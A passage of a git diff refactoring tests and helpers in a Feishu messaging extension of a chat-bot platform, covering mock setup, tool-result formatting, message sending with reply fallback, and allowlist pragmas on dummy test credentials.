"tryRecordMessage").mockReturnValue(true); + vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); + vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); + vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); +} + +function createMention(params: { openId: string; name: string; key?: string }): FeishuMention { + return { + key: params.key ?? "@_user_1", + id: { open_id: params.openId }, + name: params.name, + }; +} + +async function enqueueDebouncedMessage( + onMessage: (data: unknown) => Promise, + event: FeishuMessageEvent, +): Promise { + await onMessage(event); + await Promise.resolve(); + await Promise.resolve(); +} + describe("resolveReactionSyntheticEvent", () => { it("filters app self-reactions", async () => { const event = makeReactionEvent({ operator_type: "app" }); @@ -272,23 +320,12 @@ describe("resolveReactionSyntheticEvent", () => { }); it("uses event chat context when provided", async () => { - const event = makeReactionEvent({ - chat_id: "oc_group_from_event", - chat_type: "group", - }); - const result = await resolveReactionSyntheticEvent({ - cfg, - accountId: "default", - event, - botOpenId: "ou_bot", - fetchMessage: async () => ({ - messageId: "om_msg1", - chatId: "oc_group_from_lookup", - senderOpenId: "ou_bot", - content: "hello", - contentType: "text", + const result = await resolveReactionWithLookup({ + event: makeReactionEvent({ + chat_id: "oc_group_from_event", + chat_type: "group", }), - uuid: () => "fixed-uuid", + lookupChatId: "oc_group_from_lookup", }); expect(result).toEqual({ @@ -309,20 +346,8 @@ describe("resolveReactionSyntheticEvent", () => { }); it("falls back to reacted message chat_id when event chat_id is absent", async () => { - const event = makeReactionEvent(); - const result = await resolveReactionSyntheticEvent({ - cfg, - accountId: "default", - event, - botOpenId: "ou_bot", - fetchMessage: async () => ({ - messageId: "om_msg1", - chatId: "oc_group_from_lookup", - senderOpenId: "ou_bot", - content: "hello", - contentType: "text", - }), - uuid: () => "fixed-uuid", + const result = await resolveReactionWithLookup({ + lookupChatId: "oc_group_from_lookup", }); expect(result?.message.chat_id).toBe("oc_group_from_lookup"); @@ -330,20 +355,8 @@ describe("resolveReactionSyntheticEvent", () => { }); it("falls back to sender p2p chat when lookup returns empty chat_id", async () => { - const event = makeReactionEvent(); - const result = await resolveReactionSyntheticEvent({ - cfg, - accountId: "default", - event, - botOpenId: "ou_bot", - fetchMessage: async () => ({ - messageId: "om_msg1", - chatId: "", - senderOpenId: "ou_bot", - content: "hello", - contentType: "text", - }), - uuid: () => "fixed-uuid", + const result = await resolveReactionWithLookup({ + lookupChatId: "", }); expect(result?.message.chat_id).toBe("p2p:ou_user1"); @@ -396,42 +409,25 @@ describe("Feishu inbound debounce regressions", () => { }); it("keeps bot mention when per-message mention keys collide across non-forward messages", async () => { - vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); - vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); - vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); - vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); + setDedupPassThroughMocks(); const onMessage = await setupDebounceMonitor(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_1", text: "first", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_user_a" }, - name: "user-a", - }, - ], + mentions: [createMention({ openId: "ou_user_a", name: "user-a" })], }), ); - await Promise.resolve(); - await Promise.resolve(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_2", text: "@bot second", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_bot" }, - name: "bot", - }, - ], + mentions: [createMention({ openId: "ou_bot", name: "bot" })], }), ); - await Promise.resolve(); - await Promise.resolve(); await vi.advanceTimersByTimeAsync(25); expect(handleFeishuMessageMock).toHaveBeenCalledTimes(1); @@ -473,42 +469,25 @@ describe("Feishu inbound debounce regressions", () => { }); it("does not synthesize mention-forward intent across separate messages", async () => { - vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); - vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); - vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); - vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); + setDedupPassThroughMocks(); const onMessage = await setupDebounceMonitor(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_user_mention", text: "@alice first", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_alice" }, - name: "alice", - }, - ], + mentions: [createMention({ openId: "ou_alice", name: "alice" })], }), ); - await Promise.resolve(); - await Promise.resolve(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_bot_mention", text: "@bot second", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_bot" }, - name: "bot", - }, - ], + mentions: [createMention({ openId: "ou_bot", name: "bot" })], }), ); - await Promise.resolve(); - await Promise.resolve(); await vi.advanceTimersByTimeAsync(25); expect(handleFeishuMessageMock).toHaveBeenCalledTimes(1); @@ -521,35 +500,24 @@ describe("Feishu inbound debounce regressions", () => { }); it("preserves bot mention signal when the latest merged message has no mentions", async () => { - vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); - vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); - vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); - vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); + setDedupPassThroughMocks(); const onMessage = await setupDebounceMonitor(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_bot_first", text: "@bot first", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_bot" }, - name: "bot", - }, - ], + mentions: [createMention({ openId: "ou_bot", name: "bot" })], }), ); - await Promise.resolve(); - await Promise.resolve(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_plain_second", text: "plain follow-up", }), ); - await Promise.resolve(); - await Promise.resolve(); await vi.advanceTimersByTimeAsync(25); expect(handleFeishuMessageMock).toHaveBeenCalledTimes(1); diff --git a/extensions/feishu/src/monitor.startup.test.ts b/extensions/feishu/src/monitor.startup.test.ts index 29b00fab200..f5e19159f0a 100644 --- a/extensions/feishu/src/monitor.startup.test.ts +++ b/extensions/feishu/src/monitor.startup.test.ts @@ -3,17 +3,11 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import { monitorFeishuProvider, stopFeishuMonitor } from "./monitor.js"; const probeFeishuMock = vi.hoisted(() => vi.fn()); - -vi.mock("./probe.js", () => ({ - probeFeishu: probeFeishuMock, -})); - -vi.mock("./client.js", () => ({ +const feishuClientMockModule = vi.hoisted(() => ({ createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), })); - -vi.mock("./runtime.js", () => ({ +const feishuRuntimeMockModule = vi.hoisted(() => ({ getFeishuRuntime: () => ({ channel: { debounce: { @@ -30,6 +24,13 @@ vi.mock("./runtime.js", () => ({ }), })); +vi.mock("./probe.js", () => ({ + probeFeishu: probeFeishuMock, +})); + +vi.mock("./client.js", () => feishuClientMockModule); +vi.mock("./runtime.js", () => feishuRuntimeMockModule); + function buildMultiAccountWebsocketConfig(accountIds: string[]): ClawdbotConfig { return { channels: { @@ -41,7 +42,7 @@ function buildMultiAccountWebsocketConfig(accountIds: string[]): ClawdbotConfig { enabled: true, appId: `cli_${accountId}`, - appSecret: `secret_${accountId}`, + appSecret: `secret_${accountId}`, // pragma: allowlist secret connectionMode: "websocket", }, ]), diff --git a/extensions/feishu/src/monitor.test-mocks.ts b/extensions/feishu/src/monitor.test-mocks.ts index 41e5d9c0086..276d6375464 100644 --- a/extensions/feishu/src/monitor.test-mocks.ts +++ b/extensions/feishu/src/monitor.test-mocks.ts @@ -1,12 +1,45 @@ import { vi } from "vitest"; -export const probeFeishuMock: ReturnType = vi.fn(); +export function createFeishuClientMockModule(): { + createFeishuWSClient: () => { start: () => void }; + createEventDispatcher: () => { register: () => void }; +} { + return { + createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), + createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), + }; +} -vi.mock("./probe.js", () => ({ - probeFeishu: probeFeishuMock, -})); - -vi.mock("./client.js", () => ({ - createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), - createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), -})); +export function createFeishuRuntimeMockModule(): { + getFeishuRuntime: () => { + channel: { + debounce: { + resolveInboundDebounceMs: () => number; + createInboundDebouncer: () => { + enqueue: () => Promise; + flushKey: () => Promise; + }; + }; + text: { + hasControlCommand: () => boolean; + }; + }; + }; +} { + return { + getFeishuRuntime: () => ({ + channel: { + debounce: { + resolveInboundDebounceMs: () => 0, + createInboundDebouncer: () => ({ + enqueue: async () => {}, + flushKey: async () => {}, + }), + }, + text: { + hasControlCommand: () => false, + }, + }, + }), + }; +} diff --git a/extensions/feishu/src/monitor.webhook-security.test.ts b/extensions/feishu/src/monitor.webhook-security.test.ts index d52b417009f..466b9a4201a 100644 --- a/extensions/feishu/src/monitor.webhook-security.test.ts +++ b/extensions/feishu/src/monitor.webhook-security.test.ts @@ -2,6 +2,10 @@ import { createServer } from "node:http"; import type { AddressInfo } from "node:net"; import type { ClawdbotConfig } from "openclaw/plugin-sdk/feishu"; import { afterEach, describe, expect, it, vi } from "vitest"; +import { + createFeishuClientMockModule, + createFeishuRuntimeMockModule, +} from "./monitor.test-mocks.js"; const probeFeishuMock = vi.hoisted(() => vi.fn()); @@ -9,27 +13,8 @@ vi.mock("./probe.js", () => ({ probeFeishu: probeFeishuMock, })); -vi.mock("./client.js", () => ({ - createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), - createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), -})); - -vi.mock("./runtime.js", () => ({ - getFeishuRuntime: () => ({ - channel: { - debounce: { - resolveInboundDebounceMs: () => 0, - createInboundDebouncer: () => ({ - enqueue: async () => {}, - flushKey: async () => {}, - }), - }, - text: { - hasControlCommand: () => false, - }, - }, - }), -})); +vi.mock("./client.js", () => createFeishuClientMockModule()); +vi.mock("./runtime.js", () => createFeishuRuntimeMockModule()); vi.mock("@larksuiteoapi/node-sdk", () => ({ adaptDefault: vi.fn( @@ -88,7 +73,7 @@ function buildConfig(params: { [params.accountId]: { enabled: true, appId: "cli_test", - appSecret: "secret_test", + appSecret: "secret_test", // pragma: allowlist secret connectionMode: "webhook", webhookHost: "127.0.0.1", webhookPort: params.port, diff --git a/extensions/feishu/src/onboarding.test.ts b/extensions/feishu/src/onboarding.test.ts index dbb71448508..d3ace4faae0 100644 --- a/extensions/feishu/src/onboarding.test.ts +++ b/extensions/feishu/src/onboarding.test.ts @@ -17,6 +17,44 @@ const baseStatusContext = { accountOverrides: {}, }; +async function withEnvVars(values: Record, run: () => Promise) { + const previous = new Map(); + for (const [key, value] of Object.entries(values)) { + previous.set(key, process.env[key]); + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + } + + try { + await run(); + } finally { + for (const [key, prior] of previous.entries()) { + if (prior === undefined) { + delete process.env[key]; + } else { + process.env[key] = prior; + } + } + } +} + +async function getStatusWithEnvRefs(params: { appIdKey: string; appSecretKey: string }) { + return await feishuOnboardingAdapter.getStatus({ + cfg: { + channels: { + feishu: { + appId: { source: "env", id: params.appIdKey, provider: "default" }, + appSecret: { source: "env", id: params.appSecretKey, provider: "default" }, + }, + }, + } as never, + ...baseStatusContext, + }); +} + describe("feishuOnboardingAdapter.configure", () => { it("does not throw when config appId/appSecret are SecretRef objects", async () => { const text = vi @@ -61,7 +99,7 @@ describe("feishuOnboardingAdapter.getStatus", () => { accounts: { main: { appId: "", - appSecret: "secret_123", + appSecret: "sample-app-credential", // pragma: allowlist secret }, }, }, @@ -75,73 +113,31 @@ describe("feishuOnboardingAdapter.getStatus", () => { it("treats env SecretRef appId as not configured when env var is missing", async () => { const appIdKey = "FEISHU_APP_ID_STATUS_MISSING_TEST"; - const appSecretKey = "FEISHU_APP_SECRET_STATUS_MISSING_TEST"; - const prevAppId = process.env[appIdKey]; - const prevAppSecret = process.env[appSecretKey]; - delete process.env[appIdKey]; - process.env[appSecretKey] = "secret_env_456"; - - try { - const status = await feishuOnboardingAdapter.getStatus({ - cfg: { - channels: { - feishu: { - appId: { source: "env", id: appIdKey, provider: "default" }, - appSecret: { source: "env", id: appSecretKey, provider: "default" }, - }, - }, - } as never, - ...baseStatusContext, - }); - - expect(status.configured).toBe(false); - } finally { - if (prevAppId === undefined) { - delete process.env[appIdKey]; - } else { - process.env[appIdKey] = prevAppId; - } - if (prevAppSecret === undefined) { - delete process.env[appSecretKey]; - } else { - process.env[appSecretKey] = prevAppSecret; - } - } + const appSecretKey = "FEISHU_APP_CREDENTIAL_STATUS_MISSING_TEST"; // pragma: allowlist secret + await withEnvVars( + { + [appIdKey]: undefined, + [appSecretKey]: "env-credential-456", // pragma: allowlist secret + }, + async () => { + const status = await getStatusWithEnvRefs({ appIdKey, appSecretKey }); + expect(status.configured).toBe(false); + }, + ); }); it("treats env SecretRef appId/appSecret as configured in status", async () => { const appIdKey = "FEISHU_APP_ID_STATUS_TEST"; - const appSecretKey = "FEISHU_APP_SECRET_STATUS_TEST"; - const prevAppId = process.env[appIdKey]; - const prevAppSecret = process.env[appSecretKey]; - process.env[appIdKey] = "cli_env_123"; - process.env[appSecretKey] = "secret_env_456"; - - try { - const status = await feishuOnboardingAdapter.getStatus({ - cfg: { - channels: { - feishu: { - appId: { source: "env", id: appIdKey, provider: "default" }, - appSecret: { source: "env", id: appSecretKey, provider: "default" }, - }, - }, - } as never, - ...baseStatusContext, - }); - - expect(status.configured).toBe(true); - } finally { - if (prevAppId === undefined) { - delete process.env[appIdKey]; - } else { - process.env[appIdKey] = prevAppId; - } - if (prevAppSecret === undefined) { - delete process.env[appSecretKey]; - } else { - process.env[appSecretKey] = prevAppSecret; - } - } + const appSecretKey = "FEISHU_APP_CREDENTIAL_STATUS_TEST"; // pragma: allowlist secret + await withEnvVars( + { + [appIdKey]: "cli_env_123", + [appSecretKey]: "env-credential-456", // pragma: allowlist secret + }, + async () => { + const status = await getStatusWithEnvRefs({ appIdKey, appSecretKey }); + expect(status.configured).toBe(true); + }, + ); }); }); diff --git a/extensions/feishu/src/perm.ts b/extensions/feishu/src/perm.ts index 8ff1a794e29..a031bb015ef 100644 --- a/extensions/feishu/src/perm.ts +++ b/extensions/feishu/src/perm.ts @@ -3,15 +3,11 @@ import type { OpenClawPluginApi } from "openclaw/plugin-sdk/feishu"; import { listEnabledFeishuAccounts } from "./accounts.js"; import { FeishuPermSchema, type FeishuPermParams } from "./perm-schema.js"; import { createFeishuToolClient, resolveAnyEnabledFeishuToolsConfig } from "./tool-account.js"; - -// ============ Helpers ============ - -function json(data: unknown) { - return { - content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], - details: data, - }; -} +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; type ListTokenType = | "doc" @@ -154,21 +150,21 @@ export function registerFeishuPermTools(api: OpenClawPluginApi) { }); switch (p.action) { case "list": - return json(await listMembers(client, p.token, p.type)); + return jsonToolResult(await listMembers(client, p.token, p.type)); case "add": - return json( + return jsonToolResult( await addMember(client, p.token, p.type, p.member_type, p.member_id, p.perm), ); case "remove": - return json( + return jsonToolResult( await removeMember(client, p.token, p.type, p.member_type, p.member_id), ); default: // eslint-disable-next-line @typescript-eslint/no-explicit-any -- exhaustive check fallback - return json({ error: `Unknown action: ${(p as any).action}` }); + return unknownToolActionResult((p as { action?: unknown }).action); } } catch (err) { - return json({ error: err instanceof Error ? err.message : String(err) }); + return toolExecutionErrorResult(err); } }, }; diff --git a/extensions/feishu/src/probe.test.ts b/extensions/feishu/src/probe.test.ts index e46929959b6..b93935cccc6 100644 --- a/extensions/feishu/src/probe.test.ts +++ b/extensions/feishu/src/probe.test.ts @@ -34,7 +34,7 @@ describe("probeFeishu", () => { }); it("returns error when appId is missing", async () => { - const result = await probeFeishu({ appSecret: "secret" } as never); + const result = await probeFeishu({ appSecret: "secret" } as never); // pragma: allowlist secret expect(result).toEqual({ ok: false, error: "missing credentials (appId, appSecret)" }); }); @@ -49,7 +49,7 @@ describe("probeFeishu", () => { bot: { bot_name: "TestBot", open_id: "ou_abc123" }, }); - const result = await probeFeishu({ appId: "cli_123", appSecret: "secret" }); + const result = await probeFeishu({ appId: "cli_123", appSecret: "secret" }); // pragma: allowlist secret expect(result).toEqual({ ok: true, appId: "cli_123", @@ -65,7 +65,7 @@ describe("probeFeishu", () => { bot: { bot_name: "TestBot", open_id: "ou_abc123" }, }); - await probeFeishu({ appId: "cli_123", appSecret: "secret" }); + await probeFeishu({ appId: "cli_123", appSecret: "secret" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledWith( expect.objectContaining({ @@ -98,7 +98,7 @@ describe("probeFeishu", () => { abortController.abort(); const result = await probeFeishu( - { appId: "cli_123", appSecret: "secret" }, + { appId: "cli_123", appSecret: "secret" }, // pragma: allowlist secret { abortSignal: abortController.signal }, ); @@ -111,7 +111,7 @@ describe("probeFeishu", () => { bot: { bot_name: "TestBot", open_id: "ou_abc123" }, }); - const creds = { appId: "cli_123", appSecret: "secret" }; + const creds = { appId: "cli_123", appSecret: "secret" }; // pragma: allowlist secret const first = await probeFeishu(creds); const second = await probeFeishu(creds); @@ -128,7 +128,7 @@ describe("probeFeishu", () => { bot: { bot_name: "TestBot", open_id: "ou_abc123" }, }); - const creds = { appId: "cli_123", appSecret: "secret" }; + const creds = { appId: "cli_123", appSecret: "secret" }; // pragma: allowlist secret await probeFeishu(creds); expect(requestFn).toHaveBeenCalledTimes(1); @@ -148,7 +148,7 @@ describe("probeFeishu", () => { const requestFn = makeRequestFn({ code: 99, msg: "token expired" }); createFeishuClientMock.mockReturnValue({ request: requestFn }); - const creds = { appId: "cli_123", appSecret: "secret" }; + const creds = { appId: "cli_123", appSecret: "secret" }; // pragma: allowlist secret const first = await probeFeishu(creds); const second = await probeFeishu(creds); expect(first).toMatchObject({ ok: false, error: "API error: token expired" }); @@ -170,7 +170,7 @@ describe("probeFeishu", () => { const requestFn = vi.fn().mockRejectedValue(new Error("network error")); createFeishuClientMock.mockReturnValue({ request: requestFn }); - const creds = { appId: "cli_123", appSecret: "secret" }; + const creds = { appId: "cli_123", appSecret: "secret" }; // pragma: allowlist secret const first = await probeFeishu(creds); const second = await probeFeishu(creds); expect(first).toMatchObject({ ok: false, error: "network error" }); @@ -192,15 +192,15 @@ describe("probeFeishu", () => { bot: { bot_name: "Bot1", open_id: "ou_1" }, }); - await probeFeishu({ appId: "cli_aaa", appSecret: "s1" }); + await probeFeishu({ appId: "cli_aaa", appSecret: "s1" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(1); // Different appId should trigger a new API call - await probeFeishu({ appId: "cli_bbb", appSecret: "s2" }); + await probeFeishu({ appId: "cli_bbb", appSecret: "s2" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(2); // Same appId + appSecret as first call should return cached - await probeFeishu({ appId: "cli_aaa", appSecret: "s1" }); + await probeFeishu({ appId: "cli_aaa", appSecret: "s1" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(2); }); @@ -211,12 +211,12 @@ describe("probeFeishu", () => { }); // First account with appId + secret A - await probeFeishu({ appId: "cli_shared", appSecret: "secret_aaa" }); + await probeFeishu({ appId: "cli_shared", appSecret: "secret_aaa" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(1); // Second account with same appId but different secret (e.g. after rotation) // must NOT reuse the cached result - await probeFeishu({ appId: "cli_shared", appSecret: "secret_bbb" }); + await probeFeishu({ appId: "cli_shared", appSecret: "secret_bbb" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(2); }); @@ -227,14 +227,14 @@ describe("probeFeishu", () => { }); // Two accounts with same appId+appSecret but different accountIds are cached separately - await probeFeishu({ accountId: "acct-1", appId: "cli_123", appSecret: "secret" }); + await probeFeishu({ accountId: "acct-1", appId: "cli_123", appSecret: "secret" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(1); - await probeFeishu({ accountId: "acct-2", appId: "cli_123", appSecret: "secret" }); + await probeFeishu({ accountId: "acct-2", appId: "cli_123", appSecret: "secret" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(2); // Same accountId should return cached - await probeFeishu({ accountId: "acct-1", appId: "cli_123", appSecret: "secret" }); + await probeFeishu({ accountId: "acct-1", appId: "cli_123", appSecret: "secret" }); // pragma: allowlist secret expect(requestFn).toHaveBeenCalledTimes(2); }); @@ -244,7 +244,7 @@ describe("probeFeishu", () => { bot: { bot_name: "TestBot", open_id: "ou_abc123" }, }); - const creds = { appId: "cli_123", appSecret: "secret" }; + const creds = { appId: "cli_123", appSecret: "secret" }; // pragma: allowlist secret await probeFeishu(creds); expect(requestFn).toHaveBeenCalledTimes(1); @@ -260,7 +260,7 @@ describe("probeFeishu", () => { data: { bot: { bot_name: "DataBot", open_id: "ou_data" } }, }); - const result = await probeFeishu({ appId: "cli_123", appSecret: "secret" }); + const result = await probeFeishu({ appId: "cli_123", appSecret: "secret" }); // pragma: allowlist secret expect(result).toEqual({ ok: true, appId: "cli_123", diff --git a/extensions/feishu/src/reply-dispatcher.test.ts b/extensions/feishu/src/reply-dispatcher.test.ts index 3f464a88318..744532320de 100644 --- a/extensions/feishu/src/reply-dispatcher.test.ts +++ b/extensions/feishu/src/reply-dispatcher.test.ts @@ -106,6 +106,28 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { }); }); + function setupNonStreamingAutoDispatcher() { + resolveFeishuAccountMock.mockReturnValue({ + accountId: "main", + appId: "app_id", + appSecret: "app_secret", + domain: "feishu", + config: { + renderMode: "auto", + streaming: false, + }, + }); + + createFeishuReplyDispatcher({ + cfg: {} as never, + agentId: "agent", + runtime: { log: vi.fn(), error: vi.fn() } as never, + chatId: "oc_chat", + }); + + return createReplyDispatcherWithTypingMock.mock.calls[0]?.[0]; + } + it("skips typing indicator when account typingIndicator is disabled", async () => { resolveFeishuAccountMock.mockReturnValue({ accountId: "main", @@ -219,6 +241,17 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { expect(sendMediaFeishuMock).not.toHaveBeenCalled(); }); + it("sets disableBlockStreaming in replyOptions to prevent silent reply drops", async () => { + const result = createFeishuReplyDispatcher({ + cfg: {} as never, + agentId: "agent", + runtime: {} as never, + chatId: "oc_chat", + }); + + expect(result.replyOptions).toHaveProperty("disableBlockStreaming", true); + }); + it("uses streaming session for auto mode markdown payloads", async () => { createFeishuReplyDispatcher({ cfg: {} as never, @@ -301,25 +334,7 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { expect(sendMarkdownCardFeishuMock).not.toHaveBeenCalled(); }); it("suppresses duplicate final text while still sending media", async () => { - resolveFeishuAccountMock.mockReturnValue({ - accountId: "main", - appId: "app_id", - appSecret: "app_secret", - domain: "feishu", - config: { - renderMode: "auto", - streaming: false, - }, - }); - - createFeishuReplyDispatcher({ - cfg: {} as never, - agentId: "agent", - runtime: { log: vi.fn(), error: vi.fn() } as never, - chatId: "oc_chat", - }); - - const options = createReplyDispatcherWithTypingMock.mock.calls[0]?.[0]; + const options = setupNonStreamingAutoDispatcher(); await options.deliver({ text: "plain final" }, { kind: "final" }); await options.deliver( { text: "plain final", mediaUrl: "https://example.com/a.png" }, @@ -341,25 +356,7 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { }); it("keeps distinct non-streaming final payloads", async () => { - resolveFeishuAccountMock.mockReturnValue({ - accountId: "main", - appId: "app_id", - appSecret: "app_secret", - domain: "feishu", - config: { - renderMode: "auto", - streaming: false, - }, - }); - - createFeishuReplyDispatcher({ - cfg: {} as never, - agentId: "agent", - runtime: { log: vi.fn(), error: vi.fn() } as never, - chatId: "oc_chat", - }); - - const options = createReplyDispatcherWithTypingMock.mock.calls[0]?.[0]; + const options = setupNonStreamingAutoDispatcher(); await options.deliver({ text: "notice header" }, { kind: "final" }); await options.deliver({ text: "actual answer body" }, { kind: "final" }); diff --git a/extensions/feishu/src/reply-dispatcher.ts b/extensions/feishu/src/reply-dispatcher.ts index c754bce5c16..3bd1353825d 100644 --- a/extensions/feishu/src/reply-dispatcher.ts +++ b/extensions/feishu/src/reply-dispatcher.ts @@ -382,6 +382,7 @@ export function createFeishuReplyDispatcher(params: CreateFeishuReplyDispatcherP replyOptions: { ...replyOptions, onModelSelected: prefixContext.onModelSelected, + disableBlockStreaming: true, onPartialReply: streamingEnabled ? (payload: ReplyPayload) => { if (!payload.text) { diff --git a/extensions/feishu/src/secret-input.ts b/extensions/feishu/src/secret-input.ts index a2c2f517f3a..37dda74f2eb 100644 --- a/extensions/feishu/src/secret-input.ts +++ b/extensions/feishu/src/secret-input.ts @@ -1,19 +1,13 @@ import { + buildSecretInputSchema, hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString, } from "openclaw/plugin-sdk/feishu"; -import { z } from "zod"; -export { hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString }; - -export function buildSecretInputSchema() { - return z.union([ - z.string(), - z.object({ - source: z.enum(["env", "file", "exec"]), - provider: z.string().min(1), - id: z.string().min(1), - }), - ]); -} +export { + buildSecretInputSchema, + hasConfiguredSecretInput, + normalizeResolvedSecretInputString, + normalizeSecretInputString, +}; diff --git a/extensions/feishu/src/send-message.ts b/extensions/feishu/src/send-message.ts new file mode 100644 index 00000000000..21772ec374f --- /dev/null +++ b/extensions/feishu/src/send-message.ts @@ -0,0 +1,71 @@ +import { assertFeishuMessageApiSuccess, toFeishuSendResult } from "./send-result.js"; + +type FeishuMessageClient = { + im: { + message: { + reply: (params: { + path: { message_id: string }; + data: Record; + }) => Promise<{ code?: number; msg?: string; data?: { message_id?: string } }>; + create: (params: { + params: { receive_id_type: string }; + data: Record; + }) => Promise<{ code?: number; msg?: string; data?: { message_id?: string } }>; + }; + }; +}; + +export async function sendFeishuMessageWithOptionalReply(params: { + client: FeishuMessageClient; + receiveId: string; + receiveIdType: string; + content: string; + msgType: string; + replyToMessageId?: string; + replyInThread?: boolean; + sendErrorPrefix: string; + replyErrorPrefix: string; + fallbackSendErrorPrefix?: string; + shouldFallbackFromReply?: (response: { code?: number; msg?: string }) => boolean; +}): Promise<{ messageId: string; chatId: string }> { + const data = { + content: params.content, + msg_type: params.msgType, + }; + + if (params.replyToMessageId) { + const response = await params.client.im.message.reply({ + path: { message_id: params.replyToMessageId }, + data: { + ...data, + ...(params.replyInThread ? { reply_in_thread: true } : {}), + }, + }); + if (params.shouldFallbackFromReply?.(response)) { + const fallback = await params.client.im.message.create({ + params: { receive_id_type: params.receiveIdType }, + data: { + receive_id: params.receiveId, + ...data, + }, + }); + assertFeishuMessageApiSuccess( + fallback, + params.fallbackSendErrorPrefix ?? params.sendErrorPrefix, + ); + return toFeishuSendResult(fallback, params.receiveId); + } + assertFeishuMessageApiSuccess(response, params.replyErrorPrefix); + return toFeishuSendResult(response, params.receiveId); + } + + const response = await params.client.im.message.create({ + params: { receive_id_type: params.receiveIdType }, + data: { + receive_id: params.receiveId, + ...data, + }, + }); + assertFeishuMessageApiSuccess(response, params.sendErrorPrefix); + return toFeishuSendResult(response, params.receiveId); +} diff --git a/extensions/feishu/src/tool-account-routing.test.ts b/extensions/feishu/src/tool-account-routing.test.ts index 0631067a07b..b5697676493 100644 --- a/extensions/feishu/src/tool-account-routing.test.ts +++ b/extensions/feishu/src/tool-account-routing.test.ts @@ -35,12 +35,12 @@ function createConfig(params: { accounts: { a: { appId: "app-a", - appSecret: "sec-a", + appSecret: "sec-a", // pragma: allowlist secret tools: params.toolsA, }, b: { appId: "app-b", - appSecret: "sec-b", + appSecret: "sec-b", // pragma: allowlist secret tools: params.toolsB, }, }, diff --git a/extensions/feishu/src/tool-result.test.ts b/extensions/feishu/src/tool-result.test.ts new file mode 100644 index 00000000000..d4538133872 --- /dev/null +++ b/extensions/feishu/src/tool-result.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from "vitest"; +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; + +describe("jsonToolResult", () => { + it("formats tool result with text content and details", () => { + const payload = { ok: true, id: "abc" }; + expect(jsonToolResult(payload)).toEqual({ + content: [{ type: "text", text: JSON.stringify(payload, null, 2) }], + details: payload, + }); + }); + + it("formats unknown action errors", () => { + expect(unknownToolActionResult("create")).toEqual({ + content: [ + { type: "text", text: JSON.stringify({ error: "Unknown action: create" }, null, 2) }, + ], + details: { error: "Unknown action: create" }, + }); + }); + + it("formats execution errors", () => { + expect(toolExecutionErrorResult(new Error("boom"))).toEqual({ + content: [{ type: "text", text: JSON.stringify({ error: "boom" }, null, 2) }], + details: { error: "boom" }, + }); + }); +}); diff --git a/extensions/feishu/src/tool-result.ts b/extensions/feishu/src/tool-result.ts new file mode 100644 index 00000000000..d45bb0cf1c0 --- /dev/null +++ b/extensions/feishu/src/tool-result.ts @@ -0,0 +1,14 @@ +export function jsonToolResult(data: unknown) { + return { + content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], + details: data, + }; +} + +export function unknownToolActionResult(action: unknown) { + return jsonToolResult({ error: `Unknown action: ${String(action)}` }); +} + +export function toolExecutionErrorResult(error: unknown) { + return jsonToolResult({ error: error instanceof Error ? error.message : String(error) }); +} diff --git a/extensions/feishu/src/wiki.ts b/extensions/feishu/src/wiki.ts index ef74b5dc0a7..e701f57b3aa 100644 --- a/extensions/feishu/src/wiki.ts +++ b/extensions/feishu/src/wiki.ts @@ -2,17 +2,13 @@ import type * as Lark from 